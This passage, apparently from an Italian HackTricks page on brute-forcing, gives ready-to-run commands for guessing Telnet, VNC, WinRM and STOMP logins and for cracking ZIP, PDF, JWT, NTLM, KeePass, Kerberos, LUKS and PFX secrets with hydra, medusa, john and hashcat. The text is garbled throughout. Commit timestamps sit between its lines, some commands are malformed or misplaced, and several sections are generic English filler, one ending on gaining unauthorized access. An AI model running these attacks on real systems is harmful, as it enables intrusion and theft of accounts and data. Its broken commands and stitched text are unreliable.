Il protocollo di testo STOMP è un protocollo di messaggistica ampiamente utilizzato che **consente una comunicazione e interazione senza soluzione di continuità con servizi di code di messaggi popolari** come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per lo scambio di messaggi e l'esecuzione di varie operazioni di messaggistica.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
2022-05-01 13:25:53 +00:00
### Telnet
Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene utilizzato per accedere e controllare dispositivi remoti tramite una sessione di testo.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
legba telnet \
2024-02-10 13:03:23 +00:00
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
2022-05-01 13:25:53 +00:00
### VNC
VNC (Virtual Network Computing) is a graphical desktop sharing system that allows you to remotely control another computer. Brute-forcing VNC involves trying all possible password combinations until the correct one is found. This can be achieved using tools like Hydra or Medusa.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
2021-05-13 22:59:50 +00:00
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
2022-10-02 23:08:05 +00:00
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt t 1 x retry:fgep!='Authentication failure' --max-retries 0 x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt
2022-01-10 10:36:14 +00:00
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
2022-05-01 13:25:53 +00:00
### Winrm
2020-09-20 21:41:33 +00:00
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-02-10 13:03:23 +00:00
## Locale
2024-02-10 13:03:23 +00:00
### Database di cracking online
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
2024-02-10 13:03:23 +00:00
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hash)
2021-11-24 15:00:38 +00:00
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
2024-02-10 13:03:23 +00:00
* [https://gpuhash.me/](https://gpuhash.me) (Hash e hash di file)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hash)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hash)
2021-11-24 15:00:38 +00:00
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Controlla questo prima di provare a forzare un Hash.
2022-05-01 13:25:53 +00:00
### ZIP
```bash
2024-02-10 13:03:23 +00:00
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
2021-02-21 10:41:35 +00:00
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Attacco zip con testo in chiaro noto
2021-02-21 10:41:35 +00:00
È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile verificare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
2024-02-10 13:03:23 +00:00
Scarica [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina dei rilasci.
2022-06-08 21:20:05 +00:00
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
2022-09-12 15:29:22 +00:00
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
2022-06-08 21:20:05 +00:00
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
2024-02-10 13:03:23 +00:00
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
2022-06-08 21:20:05 +00:00
unzip unlocked.zip #User new_pwd as password
```
2022-05-01 13:25:53 +00:00
### 7z
Il metodo di attacco a forza bruta per 7z coinvolge la generazione di password casuali e la loro verifica fino a trovare quella corretta. Questo processo può richiedere molto tempo a causa della complessità delle password e del numero di tentativi necessari.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
2022-05-01 13:25:53 +00:00
### PDF
#### Brute Force
2024-02-10 13:03:23 +00:00
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.
2024-02-10 13:03:23 +00:00
#### Protection
2024-02-10 13:03:23 +00:00
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
2022-09-12 15:29:22 +00:00
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Password Proprietario PDF
Per crackare una password proprietario PDF controlla qui: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
2022-06-27 08:23:29 +00:00
2022-05-01 13:25:53 +00:00
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Crack di NTLM
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
2021-10-05 14:53:03 +00:00
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
2022-05-01 13:25:53 +00:00
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
2022-09-12 15:29:22 +00:00
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
2022-05-01 13:25:53 +00:00
### Keberoasting
Keberoasting è una tecnica di attacco che sfrutta debolezze nella gestione delle password degli account di servizio. Consiste nel raccogliere i dati di accesso degli account di servizio e quindi utilizzare tecniche di forza bruta per decifrare le password degli account. Una volta ottenute le password, è possibile accedere agli account di servizio e comprometterli.
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
2024-02-10 13:03:23 +00:00
### Immagine di Lucks
2024-02-10 13:03:23 +00:00
#### Metodo 1
2024-02-10 13:03:23 +00:00
Installazione: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
2024-02-10 13:03:23 +00:00
#### Metodo 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
2020-12-23 13:35:45 +00:00
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
2024-02-10 13:03:23 +00:00
Un altro tutorial su Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
2021-09-19 21:14:04 +00:00
2022-05-01 13:25:53 +00:00
### Mysql
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
2024-02-10 13:03:23 +00:00
### Chiave privata PGP/GPG
2021-09-27 14:59:59 +00:00
```bash
2022-09-12 15:29:22 +00:00
gpg2john private_pgp.key #This will generate the hash and save it in a file
2021-09-27 14:59:59 +00:00
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
2022-09-30 10:43:59 +00:00
### Cisco
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
### Chiave Master DPAPI
2022-05-19 12:02:10 +00:00
Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john
2022-05-19 12:02:10 +00:00
### Colonna Protetta da Password di Open Office
2022-02-07 10:56:05 +00:00
Se hai un file xlsx con una colonna protetta da una password puoi rimuoverla:
2022-02-07 10:56:05 +00:00
2024-02-10 13:03:23 +00:00
* **Caricalo su Google Drive** e la password verrà rimossa automaticamente
* Per rimuoverla **manualmente**:
2022-02-07 10:56:05 +00:00
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
2022-04-05 22:24:52 +00:00
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
2022-02-07 10:56:05 +00:00
# Remove that line and rezip the file
zip -r file.xls .
```
2024-02-10 13:03:23 +00:00
### Certificati PFX
2022-02-07 12:08:46 +00:00
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
2022-04-05 21:52:22 +00:00
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
2022-02-07 12:08:46 +00:00
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-02-10 13:03:23 +00:00
## Strumenti
2024-02-10 13:03:23 +00:00
**Esempi di hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identificatore di hash
```bash
hash-identifier
> <HASH>
```
2024-02-10 13:03:23 +00:00
### Liste di parole
2022-08-14 12:59:30 +00:00
* **Rockyou**
2022-09-23 17:52:05 +00:00
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
2022-08-14 12:59:30 +00:00
### **Strumenti di generazione di liste di parole**
2022-08-14 12:59:30 +00:00
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generatore avanzato di sequenze di tasti con caratteri di base configurabili, mappatura dei tasti e percorsi.
2022-08-14 12:59:30 +00:00
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
2024-02-10 13:03:23 +00:00
### Mutazione di John
2022-08-14 12:59:30 +00:00
Leggi _**/etc/john/john.conf**_ e configurarlo
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
2022-05-01 13:25:53 +00:00
### Hashcat
2024-02-10 13:03:23 +00:00
#### Attacchi di Hashcat
2022-08-14 12:59:30 +00:00
2024-02-10 13:03:23 +00:00
* **Attacco con lista di parole** (`-a 0`) con regole
2022-08-14 12:59:30 +00:00
**Hashcat** già include una **cartella contenente regole** ma puoi trovare [**altre regole interessanti qui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
2022-08-14 12:59:30 +00:00
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Attacco di combinazione di elenchi di parole**
2022-08-14 12:59:30 +00:00
È possibile **combinare 2 elenchi di parole in 1** con hashcat.\
Se l'elenco 1 contenesse la parola **"ciao"** e il secondo contenesse 2 righe con le parole **"mondo"** e **"terra"**. Le parole `ciaomondo` e `ciaoterra` verranno generate.
2022-08-14 12:59:30 +00:00
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
2022-09-12 15:29:22 +00:00
# In the previous example this will generate:
2022-09-23 17:52:05 +00:00
## hello-world!
2022-08-14 12:59:30 +00:00
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
2024-02-10 13:03:23 +00:00
* **Attacco a maschera** (`-a 3`)
2022-08-14 12:59:30 +00:00
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
2022-09-12 15:29:22 +00:00
# Mask attack declaring custom charset
2022-08-14 12:59:30 +00:00
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
2022-09-23 17:52:05 +00:00
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
2022-08-14 12:59:30 +00:00
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
2024-02-10 13:03:23 +00:00
* Attacco Wordlist + Maschera (`-a 6`) / Maschera + Wordlist (`-a 7`)
2022-08-14 12:59:30 +00:00
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
2024-02-10 13:03:23 +00:00
#### Modalità di Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
## Brute Forcing Linux Hashes
2024-02-10 13:03:23 +00:00
### Introduction
2024-02-10 13:03:23 +00:00
When attempting to crack Linux hashes from the `/etc/shadow` file, a common approach is to use brute force techniques. This involves systematically checking all possible combinations of characters until the correct password is found.
2024-02-10 13:03:23 +00:00
### Methodology
2024-02-10 13:03:23 +00:00
1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file.
2024-02-10 13:03:23 +00:00
2. **Select a Tool**: Choose a suitable password cracking tool such as John the Ripper or Hashcat.
2024-02-10 13:03:23 +00:00
3. **Generate Wordlist**: Create a wordlist containing potential passwords based on common patterns, dictionaries, or custom rules.
2024-02-10 13:03:23 +00:00
4. **Start Brute Forcing**: Use the selected tool to start the brute force attack, trying each password in the wordlist until a match is found.
2024-02-10 13:03:23 +00:00
5. **Optimize**: Adjust the brute force parameters such as password length, character sets, and rules to optimize the cracking process.
6. **Monitor Progress**: Monitor the progress of the brute force attack to track the number of passwords tried and estimate the time remaining.
7. **Crack the Hash**: Once the correct password is found, use it to access the target system or application.
2024-02-10 13:03:23 +00:00
### Conclusion
2024-02-10 13:03:23 +00:00
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack the hash and gain unauthorized access to the system.
2021-11-24 15:00:38 +00:00
```
2024-02-10 13:03:23 +00:00
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
# Brute Force
2024-02-10 13:03:23 +00:00
## Introduction
Brute force attacks are a common way to crack passwords. They involve trying all possible combinations of characters until the correct one is found. This method can be used to crack Windows hashes by generating potential passwords and comparing their hash values to the target hash.
2024-02-10 13:03:23 +00:00
## Tools
2024-02-10 13:03:23 +00:00
There are various tools available for performing brute force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools can be used to generate password candidates and compare them to the target hash.
2024-02-10 13:03:23 +00:00
## Methodology
2024-02-10 13:03:23 +00:00
1. Obtain the target hash: The first step is to obtain the hash of the Windows password that you want to crack.
2024-02-10 13:03:23 +00:00
2. Generate password candidates: Use a brute force tool to generate a list of potential passwords based on specified criteria, such as length and character set.
3. Compare hashes: Calculate the hash value of each generated password and compare it to the target hash. If a match is found, the password has been cracked.
4. Try different attack methods: In addition to brute force, other attack methods such as dictionary attacks and rainbow tables can also be used to crack Windows hashes.
2024-02-10 13:03:23 +00:00
By following these steps and using the right tools, you can effectively crack Windows hashes using brute force techniques.
2021-11-24 15:00:38 +00:00
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
## Brute Force
2024-02-10 13:03:23 +00:00
### Introduction
2024-02-10 13:03:23 +00:00
Brute force attacks are a common method used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This technique can also be used to crack common application hashes.
2024-02-10 13:03:23 +00:00
### Tools
2024-02-10 13:03:23 +00:00
There are several tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different combinations of characters to crack hashes.
2024-02-10 13:03:23 +00:00
### Methodology
2024-02-10 13:03:23 +00:00
1. **Identify Hash Type**: Before starting a brute force attack, it is important to identify the type of hash being used. This will help determine the appropriate tool and character set to use for the attack.
2. **Select Tool**: Choose a suitable tool for the brute force attack based on the hash type and complexity of the password.
3. **Generate Wordlist**: Create a wordlist containing possible passwords to use in the brute force attack. This can be done using tools like Crunch or by downloading existing wordlists.
2024-02-10 13:03:23 +00:00
4. **Run Brute Force Attack**: Use the selected tool to run the brute force attack, trying different combinations of characters from the wordlist until the correct password is found.
2024-02-10 13:03:23 +00:00
5. **Optimize**: Adjust the character set and password length based on the progress of the brute force attack to optimize the process and increase the chances of success.
2024-02-10 13:03:23 +00:00
### Conclusion
2024-02-10 13:03:23 +00:00
Brute force attacks can be an effective method for cracking common application hashes, especially when combined with a well-crafted wordlist and the right tools. It is important to follow a systematic approach and continuously optimize the attack to increase the chances of success.
2021-11-24 15:00:38 +00:00
```
2024-02-10 13:03:23 +00:00
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
2024-02-10 13:03:23 +00:00
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 10:12:47 +00:00
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}